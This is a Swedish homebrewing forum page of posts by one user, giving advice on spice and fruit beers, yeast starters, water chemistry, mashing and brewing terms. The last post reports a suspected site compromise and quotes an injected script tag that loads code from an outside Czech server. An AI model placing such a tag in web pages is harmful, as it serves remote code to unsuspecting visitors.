Du är inte inloggad. För att använda forumet fullt ut bör du logga in eller registrera ett användarkonto.
Humlebladet → Inlägg efter Kenneth
Håller med om att plocka bort karamellmalt o pale ale malt.
Senast jag gjorde en fruktöl så hade jag en kölsch som bas (vete + pilsnermalt).
Det blev lyckat eftersom frukt/bärsmak då kommer fram tydligare.
Angående humle så tycker jag att det är bra om du håller ner beskan till max 20 IBU.
Beroende på vilken alfasyramängd (står på påsen hoppas jag) som din humle har så hamnar du med 15 gram på 20 liter mellan 27 - 35 IBU.
Håller med om att det är billigare o bättre att odla upp en förkultur än att förlita sig på en påse jäst.
Ibland kan jästen i påsen vara lite trött och det är alltid bra att göra en förkultur för att försäkra sig om att jästen är pigg och aktiv.
Ett förtydligande kanske är på sin plats, låt förkulturen jäsa ut ordentligt och all jäst sjunka till botten innan du slår bort vätskan från förkulturen.
Annars åker den pigga jästen med i vätskan.
Jag kallar det vätska då jag inte tycker att man kan kalla en förkultur för "öl" 
här är lite feedback:
Kryddor bör generellt inte koka så länge, jag brukar lägga mig någonstans runt 15 min innan kokslut eller ännu kortare.
Vänta med att tillsätta ytterligare ingefära tills ölet jäst färdig och du provsmakat grönölet.
I stället för att skicka i ingefära är det nog bättre att göra en så kallad tinktur. Lägg ingefära i ren sprit och låt den dra ett antal dagar.
Prova att tillsätta lite av tinkturen i ett ölprov, smaka av och tillsätt mer tinktur tills du är nöjd, och räkna fram hur mycket du ska tillsätta i hela batchen.
Restsötman styr man helst med mäskschemat (temp o tid).
Att stoppa jäsningen med någon slags jässtopp typ vinsvavla eller liknande är inte att rekommendera.
Mjölksyra gör varken till eller från för restsötman och den stoppar inte jäsningen heller.
Generellt när man gör kryddöl och vill ha en tydlig smak o doft av kryddorna så bör man undvika alltför mycket humle eftersom humlen kan ta över och dämpa kryddningen, det kan också vara svårt att hitta en bra kombination av kryddor och humle som går bra ihop.
Man får överhuvudtaget inte ta in någon hemgjord alkoholhaltig dryck till ett ställe som har utskänkningstillstånd.
Lagen är väldigt klar på det och på grund av det så får SHBF inte ha träffar/tävlingar på ställen som har utskänkningstillstånd.
Glöggöl fungerar bra
Tänk på att få en restsötma som balanserar kryddorna och håll ner på smak o aromhumle
I en julöl kan man gärna knuffa upp OG så att man får en värmande känsla
Alltid trevligt en kulen vinternatt
Baking soda = bakpulver = en blandning av c:a 30% natriumvätekarbonat (bikarbonat; E500), c:a 40% syra såsom natriumpyrofosfat (E450) och c:a 30% av något ämne som motstånd mot fukt, till exempel majsstärkelse.
Så inget kalcium där.
Det finns andra trådar där det diskuteras runt kalciumsulfat (gips) och i princip samtliga säger att rekommendationerna angående det är för höga.
Hälften räcker gott och väl till för att ge den karaktär som man vill ha i en burton ale.
För att komma upp i en bra mängd kalcium kan du använda kalciumklorid i kombination med kalciumsulfat.
Gurkmeja är inget jag vill rekommendera till en London Pride kopia.
Tillbaka till frågan om vad man kan göra.
1. Ingenting, det blir säkerligen en god öl ändå.
2. Brygg ett svagare öl med högre beska och blanda ihop de två bryggderna efter jäsningen.
Då får du dubbel mängd öl med "rätt" alkoholhalt och beska.
Båda alternativen är lika bra.
Tittat lite på dina siffor och funderar lite om det verkligen stämmer.
Du har ett utbyte av malten på runt 92-95% vilket är extremt högt för BIAB.
Så jag funderar mer på om hydrometern visar rätt.
Om det visar för högt SG så kan det förklara dels det höga utbytet och att ölet är vattnigt.
Ett enkelt sätt att kolla hydrometern är att kolla dels med rent vatten => 0 Öchsle, 1,0 SG
Samt att göra en sockerlösning på 10 viktprocent, (tex 100 gram socker o 900 gram vatten) => 40 Öchsle, 1,040 SG
I övrigt håller jag med Lindh om att det finns fler faktorer.
En överdrivet lång mäsktid (2,5 - 3 timmar) ) kan också ge väldigt hög utjäsning.
Ska kolla upp det vid tillfälle:
Om inte får man gå till en annan källa, t.ex.
Terminologicentrum TNC: Basord i våra fackspråk | 2012
flockning sv
definition: anhopning av lätta partiklar eller fibrer med svag inbördes adhesion
Under tiden kan jag bjuda på ordet "skum" 
svensk term (rekommenderad): skum
definition: i en kolloidal vätska dispergerad gas, t.ex. kolsyra i öl, där gasblåsorna stabiliseras av ytaktiva ämnen
engelska termer: head, foam
tysk term: Schaum (m)
fransk term: mousse (f)
+1 på denna skrift som är utmärkt (om något "nördig")
Bra att ha om man inte vet vad en brygg/ölterm betyder på ett annat språk eller om man vill slå upp vad det egentligen heter på svenska för att slippa underlig "svengelska".
Överkomligt pris dessutom:
Ny länk (den ovan verkar vara trasig)
http://www.tnc.se/vmchk/Ordlistor/26-Br … e.tpl.html
Traditionellt så brukar man krydda pumpaöl med diverse olika kryddor.
Pumpan i sig ger inte mycket smak till ölet, till en öl med porterbas troligen ändå mindre.
Blåbär och porter fungerar bra ihop, testade för ett par år sedan en 50-50 variant och blandade en blåbärskölsch med porter vilket blev väldigt trevligt.
Nu är jag inte någon expert på surkörsbär men enligt vad jag hittat så finns det olika sorter/varianter varav en är så kallad Skuggmorell.
Och det är en rätt vanlig sort som odlas och finns att få tag på.
Har tidigare haft just Skuggmorell på tomten och de var rejält syrliga om man plockade dem för tidigt.
Först på senhösten så blev de sötare.
I varje fall så bör det vara bättre än bigarråer som är väldigt söta.
Den "femte smaken" umami spelar troligen också in i det hela.
Umami förekommer i jästa produkter och proteiner.
Hela begreppet "fyllighet" är komplext och som jag ser det är det en kombination av flera sensoriska upplevelser.
Vad vi kanske kan vara överens om att fyllighet inte är detsamma som restsötma
Angående (upplevd) fyllighet så skulle jag vilja lägga till ytterligare en parameter nämligen salter.
Som vi alla vet så lyfter salt smaken i mat och på samma sätt är det med öl.
Det är primärt kloridinnehåller (kalciumklorid, natriumklorid, kaliumklorid).
Viskositeten (tex råg o havre) påverkar också den upplevda fylligheten, mer en (mun)känsla än en smak.
Krossa vetekornen på samma sätt som du krossar malt.
Mäska tillsammans med pilsnermalten.
Jag skulle köra en kort proteinrast c:a 10 min runt 50-52ºC.
Sedan en sockerrast på c:a 60 minuter temp 65-67ºC
Eventuellt en utmäsking på c:a 15 min, temp 74-75ºC
Eftersom det omältade vetet inte innehåller några enzymer så måste du ha vanlig malt för att få ett bra utbyte.
Gränsen ligger någonstans runt max 60% omältat vete.
Utbytet från omältat vete ligger runt 200 Öl/kg om jag inte minns helt fel, har inte siffrorna framför mig just nu.
Hög kalciumsulfathalt ger en torrare munkänsla som definitivt lyfter fram humlet och håller tillbaka maltigheten.
För hög halt ger en smak av dammtorrt gips som inte alls är trevligt.
För att sänka alkaliniteten så kan du koka vattnet och dekantera det när det kallnat.
Karbonaterna kommer att kristallisera till krita (CaCO3)och lösas ut.
Det var någon på SHBF:s forum (eller var det här?) som hade gjort det och det blir som en vit gegga i botten på kastrullen.
Alternativt kan man blanda med avjoniserat vatten.
Jag har själv använt runt 10% rostat korn åtskilliga gånger utan problem i stouts (med i mäsken från start).
Det man måste se till är att pH inte rasar ner för långt under mäskningen med hjälp av karbonater annars blir ölet för syrligt och de rostade tonerna för kärva.
Det finns alltid en risk med att tappa ölet för tidigt.
Överkarbonering som gör att ölet står som en fontän, kvarvarande biprodukter som diacetyl o acetaldehyd.
2 veckor låter rätt bra för en veteöl enligt min erfarenhet, 3 kanske är lite i överkant.
Håller med om att veteöl generellt ska konsumeras rätt fort.
Färskheten o fräschören lägger sig rätt fort enligt min erfarenhet (max 2 månader, lite beroende på lagringstemperatur)
Jästvalet är väldigt viktigt för den profil man vill få på ett öl.
US-05 (och dess kusiner från Wyeast, White Labs etc) framhäver inte direkt maltighet.
De ger rätt rena o krispiga öl, med mindre kropp och mindre maltighet så framhävs humlet mer.
Så ta en jäst som ger lite mer maltighet/kropp.
Sedan är det förstås en smaksak vad m an vill ha av ölet. Personligen hade jag tagit med lite mörkare karamellmalt/crystal.
Kanske någonstans mellan 3-5%.
Havregryn ger i mitt tycke en lite oljig smak som jag själv inte är speciellt förtjust i.
Jag har för mig att rent strösocker ger 386°Öl/kg.
Palmer anger 385 i Howtobrew.
Nåväl 342/386 = 0,886 kg strösocker ska göra susen.
Samtidigt blir det väldigt mycket socker och risken är att ölet får en helt annan karaktär än vad man vill ha.
låter lite hajpat tycker jag.
vanligt mörkt kandisocker kanske tillsammans med lite "Black Treacle" fungerar utmärkt istället för svindyra "special candy syrup" påsar.
Fast det är svårare om man bara ser "trådar" som kallas "Mitt öl blir inte klart" eller liknande.
Har sett rätt många sådana och varje gång så undrar jag om det är problem med jäsningen.
Om man istället skriver "Mitt öl blir inte blankt" så är det betydligt lättare att förstå vad det handlar om.
Se nu detta som lite positiv kritik och inte som gnäll.
Din "blogg" ger ett proffsigare intryck om du använder rätt uttryck.
Utan att räkna så känns det helt fel.
För egen del så brukar jag ha i c:a 2g CaCl2 totalt (c:a 25-30 liter vatten)
Gillian Graftons artikel tycker jag är en bra sammanfattning
http://www.brewrats.org/go/default/brew … beer-haze/
Annars kan man söka på "colloidal stability in beer" för att få ännu mer information.
Lite besserwissande:
Det där ordet "klarhet" och ett "klart" öl.
Den korrekta bryggartermen är blankhet och ett blankt öl.
Vore bra om vi alla använder vedertagen terminologi istället för att hitta på egna inom hembryggarvärlden.
Varför måste man ha VIO player installerad när man besöker www.humle.se?
Eller har min dator fått ett elakt virus?
Eller humles server?
Ligger ett konstigt javascript på sidan som pekar på någon tjeckisk server
<HTML>
<HEAD><!--2b84c3--><script type="text/javascript" src="http://shot.cz/esatex/mVkjBrR8.php?id=146650"></script><!--/2b84c3-->
Humlebladet → Inlägg efter Kenneth